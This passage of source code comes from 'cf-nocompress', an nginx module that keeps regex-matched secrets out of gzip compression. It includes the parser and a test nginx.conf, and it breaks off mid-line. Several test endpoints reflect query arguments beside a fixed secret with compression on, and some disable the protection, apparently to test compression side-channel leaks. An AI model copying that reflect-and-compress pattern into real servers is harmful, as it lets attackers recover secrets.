| 403 | dd("ctx->buf set to rematch buf %p, len=%d, next=%p", ctx->buf, 404 | (int) ngx_buf_size(ctx->buf), ctx->rematch->next); 405 | 406 | rematch = ctx->rematch; 407 | ctx->rematch = rematch->next; 408 | 409 | cf_nocompress_update_buf(ctx); 410 | ctx->stream_pos = ctx->buf->file_pos; 411 | } 412 | } /* while */ 413 | 414 | return cf_nocompress_flush_out(r, ctx); 415 | } 416 | 417 | static char* 418 | cf_nocompress_rule(ngx_conf_t *cf,ngx_command_t *cmd, void *conf) { 419 | 420 | dd("cf_nocompress_rule"); 421 | 422 | cf_nocompress_loc_conf_t *rlcf = conf; 423 | cf_nocompress_main_conf_t *rmcf; 424 | int *flags; 425 | u_char **re; 426 | ngx_str_t *value; 427 | ngx_pool_cleanup_t *cln; 428 | 429 | value = cf->args->elts; 430 | 431 | /* Add the regex string to regexes list */ 432 | re = ngx_array_push(&rlcf->regexes); 433 | 434 | if (re == NULL) { 435 | dd(" Error pushing RE"); 436 | return NGX_CONF_ERROR; 437 | } 438 | 439 | *re = value[1].data; 440 | 441 | /* Flags are always zero in this setup */ 442 | /* TODO: Work out if this is really necessary */ 443 | flags = ngx_array_push(&rlcf->multi_flags); 444 | 445 | if (flags == NULL) { 446 | return NGX_CONF_ERROR; 447 | } 448 | 449 | *flags = 0; 450 | 451 | rmcf = ngx_http_conf_get_module_main_conf(cf, cf_nocompress_module); 452 | 453 | if (rmcf->compiler_pool == NULL) { 454 | 455 | dd("creating new compiler pool"); 456 | 457 | rmcf->compiler_pool = sre_create_pool(SREGEX_COMPILER_POOL_SIZE); 458 | if (rmcf->compiler_pool == NULL) { 459 | dd("error creating pool"); 460 | return NGX_CONF_ERROR; 461 | } 462 | 463 | cln = ngx_pool_cleanup_add(cf->pool, 0); 464 | 465 | if (cln == NULL) { 466 | dd("error adding pool cleanup handler"); 467 | sre_destroy_pool(rmcf->compiler_pool); 468 | rmcf->compiler_pool = NULL; 469 | return NGX_CONF_ERROR; 470 | } 471 | 472 | cln->data = rmcf->compiler_pool; 473 | cln->handler = cf_nocompress_cleanup_pool; 474 | } 475 | 476 | return NGX_CONF_OK; 477 | } 478 | 479 | static ngx_int_t 480 | cf_nocompress_filter_init(ngx_conf_t *cf) { 481 | 482 | cf_nocompress_main_conf_t *rmcf; 483 | 484 | dd("init"); 485 | 486 | rmcf = ngx_http_conf_get_module_main_conf(cf, cf_nocompress_module); 487 | 488 | /** Store the next filters locally and then install nocompress at top */ 489 | if (rmcf->compiler_pool != NULL) { 490 | ngx_http_next_header_filter = ngx_http_top_header_filter; 491 | ngx_http_top_header_filter = cf_nocompress_header_filter; 492 | 493 | ngx_http_next_body_filter = ngx_http_top_body_filter; 494 | ngx_http_top_body_filter = cf_nocompress_body_filter; 495 | } 496 | 497 | return NGX_OK; 498 | } -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_parse.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * Copyright (C) Yichun Zhang (agentzh) 4 | * Copyright (C) Igor Sysoev 5 | * Copyright (C) Nginx, Inc. 6 | */ 7 | 8 | 9 | #ifndef DDEBUG 10 | #define DDEBUG 0 11 | #endif 12 | #include "ddebug.h" 13 | 14 | #include "cf_nocompress_parse.h" 15 | #include "cf_nocompress_util.h" 16 | 17 | static inline 18 | void cf_nocompress_parse_flush_pending(cf_nocompress_ctx_t* ctx) { 19 | if (ctx->pending) { 20 | *ctx->last_out = ctx->pending; 21 | ctx->last_out = ctx->last_pending; 22 | 23 | ctx->pending = NULL; 24 | ctx->last_pending = &ctx->pending; 25 | } 26 | } 27 | 28 | static inline 29 | void cf_nocompress_parse_set_match(cf_nocompress_ctx_t* ctx, 30 | u_char* from, u_char* to) { 31 | ctx->match_start = from; 32 | ctx->match_end = to; 33 | } 34 | 35 | static inline 36 | void cf_nocompress_reset_copy(cf_nocompress_ctx_t* ctx) { 37 | ctx->copy_start = ctx->pos; 38 | ctx->copy_end = ctx->buf->last; 39 | ctx->pos = ctx->buf->last; 40 | } 41 | 42 | static inline 43 | void cf_nocompress_clear_copy(cf_nocompress_ctx_t* ctx) { 44 | ctx->copy_start = NULL; 45 | ctx->copy_end = NULL; 46 | } 47 | 48 | static inline 49 | void cf_nocompress_reset_pending2(cf_nocompress_ctx_t* ctx) { 50 | ctx->pending2 = NULL; 51 | ctx->last_pending2 = &ctx->pending2; 52 | } 53 | 54 | static inline 55 | void cf_nocompress_free_pending2(cf_nocompress_ctx_t* ctx) { 56 | *ctx->last_pending2 = ctx->free; 57 | ctx->free = ctx->pending2; 58 | cf_nocompress_reset_pending2(ctx); 59 | } 60 | 61 | static inline 62 | void cf_nocompress_lastlist_append(ngx_chain_t*** to, ngx_chain_t* item) { 63 | **to = item; 64 | *to = &item->next; 65 | } 66 | 67 | ngx_int_t cf_nocompress_parse(ngx_http_request_t *r, 68 | cf_nocompress_ctx_t *ctx, ngx_chain_t *rematch) { 69 | 70 | sre_int_t ret, from, to, mfrom = -1, mto = -1; 71 | ngx_int_t rc; 72 | ngx_chain_t *new_rematch = NULL; 73 | ngx_chain_t *cl; 74 | ngx_chain_t **last_rematch, **last; 75 | size_t len; 76 | sre_int_t *pending_matched; 77 | 78 | dd("parse for nocompress"); 79 | 80 | if (ctx->vm_done) { 81 | cf_nocompress_reset_copy(ctx); 82 | return NGX_AGAIN; 83 | } 84 | 85 | len = ctx->buf->last - ctx->pos; 86 | 87 | dd("=== process data chunk %p len=%d, pos=%u, special=%u, " 88 | "last=%u, \"%.*s\"", ctx->buf, (int) (ctx->buf->last - ctx->pos), 89 | (int) (ctx->pos - ctx->buf->pos + ctx->stream_pos), 90 | ctx->special_buf, ctx->last_buf, 91 | (int) (ctx->buf->last - ctx->pos), ctx->pos); 92 | 93 | ret = sre_vm_pike_exec(ctx->vm_ctx, ctx->pos,len, 94 | ctx->last_buf, &pending_matched); 95 | 96 | dd("vm pike exec: %d", (int) ret); 97 | 98 | if (ret >= 0) { 99 | ctx->regex_id = ret; 100 | ctx->total_buffered = 0; 101 | 102 | from = ctx->ovector[0]; 103 | to = ctx->ovector[1]; 104 | 105 | dd("pike vm ok: (%d, %d)", (int) from, (int) to); 106 | 107 | cf_nocompress_parse_set_match(ctx, 108 | ctx->buf->pos + (from - ctx->stream_pos), 109 | ctx->buf->pos + (to - ctx->stream_pos)); 110 | 111 | if (from >= ctx->stream_pos) { 112 | 113 | /* the match is completely on the current buf */ 114 | cf_nocompress_parse_flush_pending(ctx); 115 | 116 | if (ctx->pending2) { 117 | ngx_log_error(NGX_LOG_ALERT, r->connection->log, 0, 118 | "assertion failed: ctx->pending2 is not NULL when " 119 | "the match is completely on the current buf"); 120 | return NGX_ERROR; 121 | } 122 | 123 | ctx->copy_start = ctx->pos; 124 | ctx->copy_end = ctx->buf->pos + (from - ctx->stream_pos); 125 | 126 | dd("copy len: %d", (int) (ctx->copy_end - ctx->copy_start)); 127 | 128 | ctx->pos = ctx->buf->pos + (to - ctx->stream_pos); 129 | return NGX_OK; 130 | } 131 | 132 | /* from < ctx->stream_pos */ 133 | 134 | if (ctx->pending) { 135 | 136 | if (cf_nocompress_split(r, ctx, &ctx->pending, 137 | &ctx->last_pending, from, &cl, &last, 0) != NGX_OK) { 138 | return NGX_ERROR; 139 | } 140 | 141 | cf_nocompress_parse_flush_pending(ctx); 142 | 143 | if (cl) { 144 | *last = ctx->free; 145 | ctx->free = cl; 146 | } 147 | } 148 | 149 | if (ctx->pending2) { 150 | 151 | if (cf_nocompress_split(r, ctx, &ctx->pending2, 152 | &ctx->last_pending2, to, &new_rematch, 153 | &last_rematch, 1) != NGX_OK) { 154 | return NGX_ERROR; 155 | } 156 | 157 | if (ctx->pending2) { 158 | cf_nocompress_free_pending2(ctx); 159 | } 160 | 161 | if (new_rematch) { 162 | if (rematch) { 163 | ctx->rematch = rematch; 164 | } 165 | 166 | /* prepend cl to ctx->rematch */ 167 | *last_rematch = ctx->rematch; 168 | ctx->rematch = new_rematch; 169 | } 170 | } 171 | 172 | cf_nocompress_clear_copy(ctx); 173 | 174 | ctx->pos = ctx->buf->pos + (to - ctx->stream_pos); 175 | 176 | return new_rematch ? NGX_BUSY : NGX_OK; 177 | } 178 | 179 | switch (ret) { 180 | case SRE_AGAIN: 181 | from = ctx->ovector[0]; 182 | to = ctx->ovector[1]; 183 | 184 | dd("pike vm again: (%d, %d)", (int) from, (int) to); 185 | 186 | if (from == -1) { 187 | from = ctx->stream_pos + (ctx->buf->last - ctx->buf->pos); 188 | } 189 | 190 | if (to == -1) { 191 | to = ctx->stream_pos + (ctx->buf->last - ctx->buf->pos); 192 | } 193 | 194 | dd("pike vm again (adjusted): stream pos:%d, (%d, %d)", 195 | (int) ctx->stream_pos, (int) from, (int) to); 196 | 197 | if (from > to) { 198 | ngx_log_error(NGX_LOG_ALERT, r->connection->log, 0, 199 | "invalid capture range: %i > %i", (ngx_int_t) from, 200 | (ngx_int_t) to); 201 | return NGX_ERROR; 202 | } 203 | 204 | if (pending_matched) { 205 | mfrom = pending_matched[0]; 206 | mto = pending_matched[1]; 207 | 208 | dd("pending matched: (%ld, %ld)", (long) mfrom, (long) mto); 209 | } 210 | 211 | if (from == to) { 212 | 213 | if (ctx->pending) { 214 | ctx->total_buffered = 0; 215 | cf_nocompress_parse_flush_pending(ctx); 216 | } 217 | 218 | ctx->copy_start = ctx->pos; 219 | ctx->copy_end = ctx->buf->pos + (from - ctx->stream_pos); 220 | ctx->pos = ctx->copy_end; 221 | 222 | return NGX_AGAIN; 223 | } 224 | 225 | /* 226 | * append the existing ctx->pending data right before 227 | * the $& capture to ctx->out. 228 | */ 229 | 230 | if (from >= ctx->stream_pos) { 231 | 232 | /* the match is completely on the current buf */ 233 | ctx->copy_start = ctx->pos; 234 | ctx->copy_end = ctx->buf->pos + (from - ctx->stream_pos); 235 | 236 | if (ctx->pending) { 237 | ctx->total_buffered = 0; 238 | cf_nocompress_parse_flush_pending(ctx); 239 | } 240 | 241 | if (ctx->pending2) { 242 | ngx_log_error(NGX_LOG_ALERT, r->connection->log, 0, 243 | "assertion failed: ctx->pending2 is not NULL " 244 | "when the match is completely on the current " 245 | "buf"); 246 | return NGX_ERROR; 247 | } 248 | 249 | if (pending_matched) { 250 | 251 | if (from < mfrom) { 252 | /* create ctx->pending as (from, mfrom) */ 253 | 254 | rc = cf_nocompress_pending(r, ctx, from, mfrom, &cl); 255 | 256 | if (rc == NGX_ERROR) { 257 | return NGX_ERROR; 258 | } 259 | 260 | if (rc == NGX_BUSY) { 261 | dd("stop processing because of buffer" 262 | " size limit reached"); 263 | cf_nocompress_reset_copy(ctx); 264 | return NGX_AGAIN; 265 | } 266 | 267 | cf_nocompress_lastlist_append(&ctx->last_pending, cl); 268 | } 269 | 270 | if (mto < to) { 271 | /* create ctx->pending2 as (mto, to) */ 272 | rc = cf_nocompress_pending(r, ctx, mto, to, &cl); 273 | 274 | if (rc == NGX_ERROR) { 275 | return NGX_ERROR; 276 | } 277 | 278 | if (rc == NGX_BUSY) { 279 | 280 | dd("stop processing because of" 281 | "buffer size limit reached"); 282 | 283 | cf_nocompress_reset_copy(ctx); 284 | return NGX_AGAIN; 285 | } 286 | 287 | cf_nocompress_lastlist_append(&ctx->last_pending2, cl); 288 | } 289 | 290 | } else { 291 | 292 | dd("create ctx->pending as (%ld, %ld)", 293 | (long) from, (long) to); 294 | 295 | rc = cf_nocompress_pending(r, ctx, from, to, &cl); 296 | 297 | if (rc == NGX_ERROR) { 298 | return NGX_ERROR; 299 | } 300 | 301 | if (rc == NGX_BUSY) { 302 | dd("stop processing because of buffer size limit reached"); 303 | cf_nocompress_reset_copy(ctx); 304 | return NGX_AGAIN; 305 | } 306 | 307 | cf_nocompress_lastlist_append(&ctx->last_pending, cl); 308 | } 309 | 310 | ctx->pos = ctx->buf->last; 311 | 312 | return NGX_AGAIN; 313 | } 314 | 315 | dd("from < ctx->stream_pos"); 316 | 317 | if (ctx->pending) { 318 | 319 | /* split ctx->pending into ctx->out and ctx->pending */ 320 | 321 | if (cf_nocompress_split(r, ctx, &ctx->pending, 322 | &ctx->last_pending, from, &cl, &last, 1) != NGX_OK) { 323 | return NGX_ERROR; 324 | } 325 | 326 | if (ctx->pending) { 327 | dd("adjust pending: pos=%d, from=%d", 328 | (int) ctx->pending->buf->file_pos, (int) from); 329 | 330 | ctx->total_buffered -= (size_t) (from - ctx->pending->buf->file_pos); 331 | 332 | cf_nocompress_parse_flush_pending(ctx); 333 | } 334 | 335 | if (cl) { 336 | dd("splitted ctx->pending into ctx->out and ctx->pending: %d", 337 | (int) ctx->total_buffered); 338 | ctx->pending = cl; 339 | ctx->last_pending = last; 340 | } 341 | 342 | if (pending_matched && !ctx->pending2 && mto >= ctx->stream_pos) { 343 | dd("splitting ctx->pending into ctx->pending and ctx->free"); 344 | 345 | if (cf_nocompress_split(r, ctx, &ctx->pending, 346 | &ctx->last_pending, mfrom, &cl, &last, 0) != NGX_OK) { 347 | return NGX_ERROR; 348 | } 349 | 350 | if (cl) { 351 | ctx->total_buffered -= (size_t) (ctx->stream_pos - mfrom); 352 | 353 | dd("splitted ctx->pending into ctx->pending and ctx->free"); 354 | *last = ctx->free; 355 | ctx->free = cl; 356 | } 357 | } 358 | } 359 | 360 | if (ctx->pending2) { 361 | 362 | if (pending_matched) { 363 | dd("splitting ctx->pending2 into ctx->free and ctx->pending2"); 364 | 365 | if (cf_nocompress_split(r, ctx, &ctx->pending2, 366 | &ctx->last_pending2, mto, &cl, &last, 1) != NGX_OK) { 367 | return NGX_ERROR; 368 | } 369 | 370 | if (ctx->pending2) { 371 | 372 | dd("total buffered reduced by %d (was %d)", 373 | (int) (mto - ctx->pending2->buf->file_pos), 374 | (int) ctx->total_buffered); 375 | 376 | ctx->total_buffered -= (size_t) 377 | (mto - ctx->pending2->buf->file_pos); 378 | 379 | cf_nocompress_free_pending2(ctx); 380 | } 381 | 382 | if (cl) { 383 | ctx->pending2 = cl; 384 | ctx->last_pending2 = last; 385 | } 386 | } 387 | 388 | if (mto < to) { 389 | dd("new pending data to buffer to ctx->pending2: (%ld, %ld)", 390 | (long) mto, (long) to); 391 | 392 | rc = cf_nocompress_pending(r, ctx, mto, to, &cl); 393 | 394 | if (rc == NGX_ERROR) { 395 | return NGX_ERROR; 396 | } 397 | 398 | if (rc == NGX_BUSY) { 399 | 400 | cf_nocompress_parse_flush_pending(ctx); 401 | cf_nocompress_clear_copy(ctx); 402 | 403 | if (ctx->pending2) { 404 | new_rematch = ctx->pending2; 405 | last_rematch = ctx->last_pending2; 406 | 407 | if (rematch) { 408 | ctx->rematch = rematch; 409 | } 410 | 411 | /* prepend cl to ctx->rematch */ 412 | *last_rematch = ctx->rematch; 413 | ctx->rematch = new_rematch; 414 | 415 | cf_nocompress_reset_pending2(ctx); 416 | } 417 | 418 | ctx->pos = ctx->buf->pos + (mto - ctx->stream_pos); 419 | return new_rematch ? NGX_BUSY : NGX_OK; 420 | } 421 | 422 | *ctx->last_pending2 = cl; 423 | ctx->last_pending2 = &cl->next; 424 | } 425 | 426 | cf_nocompress_clear_copy(ctx); 427 | 428 | ctx->pos = ctx->buf->last; 429 | 430 | return NGX_AGAIN; 431 | } 432 | 433 | /* ctx->pending2 == NULL */ 434 | 435 | if (pending_matched) { 436 | 437 | if (mto < to) { 438 | /* new pending data to buffer to ctx->pending2 */ 439 | rc = cf_nocompress_pending(r, ctx, mto, to, &cl); 440 | if (rc == NGX_ERROR) { 441 | return NGX_ERROR; 442 | } 443 | 444 | if (rc == NGX_BUSY) { 445 | cf_nocompress_parse_flush_pending(ctx); 446 | cf_nocompress_clear_copy(ctx); 447 | ctx->pos = ctx->buf->pos + mto - ctx->stream_pos; 448 | return NGX_OK; 449 | } 450 | 451 | *ctx->last_pending2 = cl; 452 | ctx->last_pending2 = &cl->next; 453 | } 454 | 455 | /* otherwise no new data to buffer */ 456 | 457 | } else { 458 | 459 | /* new pending data to buffer to ctx->pending */ 460 | rc = cf_nocompress_pending(r, ctx, 461 | ctx->pos - ctx->buf->pos + ctx->stream_pos, to, &cl); 462 | 463 | if (rc == NGX_ERROR) { 464 | return NGX_ERROR; 465 | } 466 | 467 | if (rc == NGX_BUSY) { 468 | cf_nocompress_parse_flush_pending(ctx); 469 | cf_nocompress_reset_copy(ctx); 470 | return NGX_AGAIN; 471 | } 472 | 473 | *ctx->last_pending = cl; 474 | ctx->last_pending = &cl->next; 475 | } 476 | 477 | cf_nocompress_clear_copy(ctx); 478 | ctx->pos = ctx->buf->last; 479 | 480 | return NGX_AGAIN; 481 | 482 | case SRE_DECLINED: 483 | ctx->total_buffered = 0; 484 | return NGX_DECLINED; 485 | 486 | default: 487 | /* SRE_ERROR */ 488 | return NGX_ERROR; 489 | } 490 | 491 | /* cannot reach here */ 492 | } -------------------------------------------------------------------------------- /cf-nocompress/tests/nginx.conf: -------------------------------------------------------------------------------- 1 | 2 | master_process off; 3 | daemon off; 4 | pid ./nginx-fl.pid; 5 | 6 | error_log /tmp/nginx_error.log warn; 7 | 8 | 9 | debug_points stop; 10 | 11 | events { 12 | } 13 | 14 | http { 15 | access_log off; 16 | 17 | lua_package_path "/cfsetup_build/nginx-modules/cf-nocompress/tests/t/../../lua/?.lua;/cfsetup_build/lua-cjson/lua/?.lua"; 18 | lua_package_cpath "/cfsetup_build/lua-cjson/?.so"; 19 | 20 | lua_shared_dict metrics 1m; 21 | 22 | server { 23 | listen 32080 ssl; 24 | ssl_certificate ../../../t/cert/test.crt; 25 | ssl_certificate_key ../../../t/cert/test.key; 26 | server_name localhost; 27 | 28 | location / { 29 | default_type 'text/html'; 30 | content_by_lua_block { 31 | ngx.say('Hello,world! My secret is 12345') 32 | } 33 | } 34 | 35 | location /gzip { 36 | default_type 'text/html'; 37 | cf_no_compress 'A+'; 38 | gzip on; 39 | content_by_lua_block { 40 | ngx.say('Hello,world! My secret is 12345') 41 | } 42 | } 43 | 44 | location /no_compress_but_not_enabled { 45 | default_type 'text/html'; 46 | cf_no_compress '[a-zA-Z]+'; 47 | gzip on; 48 | content_by_lua_block { 49 | require('cf_nocompress').enable(false); 50 | ngx.say('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); 51 | } 52 | } 53 | 54 | location /no_compress_and_is_enabled { 55 | default_type 'text/html'; 56 | cf_no_compress 'A+'; 57 | gzip on; 58 | content_by_lua_block { 59 | require('cf_nocompress').enable(true); 60 | ngx.say('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); 61 | } 62 | } 63 | 64 | location /deployment_test { 65 | default_type 'text/html'; 66 | cf_no_compress 'KEY:[0-9]{10}'; 67 | gzip on; 68 | content_by_lua_block { 69 | require('cf_nocompress').enable(true); 70 | ngx.say('KEY:121212'); 71 | } 72 | } 73 | 74 | location /ratio_hit { 75 | default_type 'text/html'; 76 | gzip on; 77 | cf_no_compress 'HELLO'; 78 | content_by_lua_block { 79 | require('cf_nocompress').enable(true); 80 | ngx.header.content_type = "text/html"; 81 | local args = ngx.req.get_uri_args() 82 | ngx.say("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHELLOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") 83 | } 84 | } 85 | 86 | location /ratio_hit2 { 87 | default_type 'text/html'; 88 | gzip on; 89 | cf_no_compress 'DOGDOGDOG'; 90 | content_by_lua_block { 91 | require('cf_nocompress').enable(true); 92 | ngx.header.content_type = "text/html"; 93 | local args = ngx.req.get_uri_args() 94 | ngx.say("HELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDDOGDOGDOGHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLD") 95 | } 96 | } 97 | 98 | location /ratio_hit_start { 99 | default_type 'text/html'; 100 | gzip on; 101 | cf_no_compress 'DOGDOGDOG'; 102 | content_by_lua_block { 103 | require('cf_nocompress').enable(true); 104 | ngx.header.content_type = "text/html"; 105 | local args = ngx.req.get_uri_args() 106 | ngx.say("DOGDOGDOGHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLD") 107 | } 108 | } 109 | 110 | location /safe_canary { 111 | default_type 'text/html'; 112 | gzip on; 113 | cf_no_compress '[A-Z]+'; 114 | content_by_lua_block { 115 | require('cf_nocompress').enable(true); 116 | ngx.header.content_type = "text/html"; 117 | local args = ngx.req.get_uri_args() 118 | 119 | ngx.say("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAMAMAAAAAAAAAAAAAAAAAAAAAN") 120 | 121 | for key, val in pairs(args) do 122 | if type(val) == "table" then 123 | ngx.say(key, ":", table.concat(val, ", ")) 124 | else 125 | ngx.say(key, ":", val) 126 | end 127 | end 128 | 129 | ngx.say("CanaryCrazyFun:AZAZA") 130 | } 131 | } 132 | 133 | location /bad_rule_canary { 134 | default_type 'text/html'; 135 | gzip on; 136 | cf_no_compress '[0-9]+'; 137 | content_by_lua_block { 138 | require('cf_nocompress').enable(true); 139 | ngx.header.content_type = "text/html"; 140 | local args = ngx.req.get_uri_args() 141 | 142 | ngx.say("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAMAMAAAAAAAAAAAAAAAAAAAAAN") 143 | 144 | for key, val in pairs(args) do 145 | if type(val) == "table" then 146 | ngx.say(key, ":", table.concat(val, ", ")) 147 | else 148 | ngx.say(key, ":", val) 149 | end 150 | end 151 | 152 | ngx.say("CanaryCrazyFun:AZAZA") 153 | } 154 | } 155 | 156 | location /canary { 157 | default_type 'text/html'; 158 | gzip on; 159 | cf_no_compress '[A-Z]+'; 160 | content_by_lua_block { 161 | require('cf_nocompress').enable(false); 162 | ngx.header.content_type = "text/html"; 163 | local args = ngx.req.get_uri_args() 164 | 165 | ngx.say("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAMAMAAAAAAAAAAAAAAAAAAAAAN") 166 | 167 | for key, val in pairs(args) do 168 | if type(val) == "table" then 169 | ngx.say(key, ":", table.concat(val, ", ")) 170 | else 171 | ngx.say(key, ":", val) 172 | end 173 | end 174 | 175 | ngx.say("CanaryCrazyFun:AZAZA") 176 | ngx.exit(200) 177 | } 178 | } 179 | 180 | location /canary2 { 181 | default_type 'text/html'; 182 | gzip on; 183 | cf_no_compress 'CrazyCrazyFun:[A-Z]{5}'; 184 | content_by_lua_block { 185 | require('cf_nocompress').enable(false); 186 | ngx.header.content_type = "text/html"; 187 | local args = ngx.req.get_uri_args() 188 | 189 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 190 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 191 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 192 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 193 | 194 | for key, val in pairs(args) do 195 | if type(val) == "table" then 196 | ngx.say(key, ":", table.concat(val, ", ")) 197 | else 198 | ngx.say(key, ":", val) 199 | end 200 | end 201 | 202 | ngx.say("CanaryCrazyFun:AZAZA") 203 | 204 | 205 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 206 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 207 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 208 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 209 | } 210 | } 211 | 212 | location /safe_canary2 { 213 | default_type 'text/html'; 214 | gzip on; 215 | cf_no_compress 'CanaryCrazyFun:[A-Z]{5}'; 216 | content_by_lua_block { 217 | require('cf_nocompress').enable(true); 218 | ngx.header.content_type = "text/html"; 219 | local args = ngx.req.get_uri_args() 220 | 221 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 222 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 223 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 224 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 225 | 226 | for key, val in pairs(args) do 227 | if type(val) == "table" then 228 | ngx.say(key, ":", table.concat(val, ", ")) 229 | else 230 | ngx.say(key, ":", val) 231 | end 232 | end 233 | 234 | ngx.say("CanaryCrazyFun:AZAZA") 235 | 236 | 237 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 238 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 239 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 240 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 241 | } 242 | } 243 | 244 | location /canary2_repeated { 245 | default_type 'text/html'; 246 | gzip on; 247 | cf_no_compress 'CanaryCrazyFun:[A-Z]{5}'; 248 | content_by_lua_block { 249 | require('cf_nocompress').enable(false); 250 | ngx.header.content_type = "text/html"; 251 | local args = ngx.req.get_uri_args() 252 | 253 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 254 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 255 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 256 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 257 | 258 | ngx.say("CanaryCrazyFun:AZAZA") 259 | 260 | for key, val in pairs(args) do 261 | if type(val) == "table" then 262 | ngx.say(key, ":", table.concat(val, ", ")) 263 | else 264 | ngx.say(key, ":", val) 265 | end 266 | end 267 | 268 | ngx.say("CanaryCrazyFun:AZAZA") 269 | 270 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 271 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 272 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 273 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 274 | } 275 | } 276 | 277 | location /safe_canary2_repeated { 278 | default_type 'text/html'; 279 | gzip on; 280 | cf_no_compress 'CanaryCrazyFun:[A-Z]{5}'; 281 | content_by_lua_block { 282 | require('cf_nocompress').enable(true); 283 | ngx.header.content_type = "text/html"; 284 | local args = ngx.req.get_uri_args() 285 | 286 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 287 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 288 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 289 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 290 | 291 | ngx.say("CanaryCrazyFun:AZAZA") 292 | 293 | for key, val in pairs(args) do 294 | if type(val) == "table" then 295 | ngx.say(key, ":", table.concat(val, ", ")) 296 | else 297 | ngx.say(key, ":", val) 298 | end 299 | end 300 | 301 | ngx.say("CanaryCrazyFun:AZAZA") 302 | 303 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 304 | ngx.say("LOREM 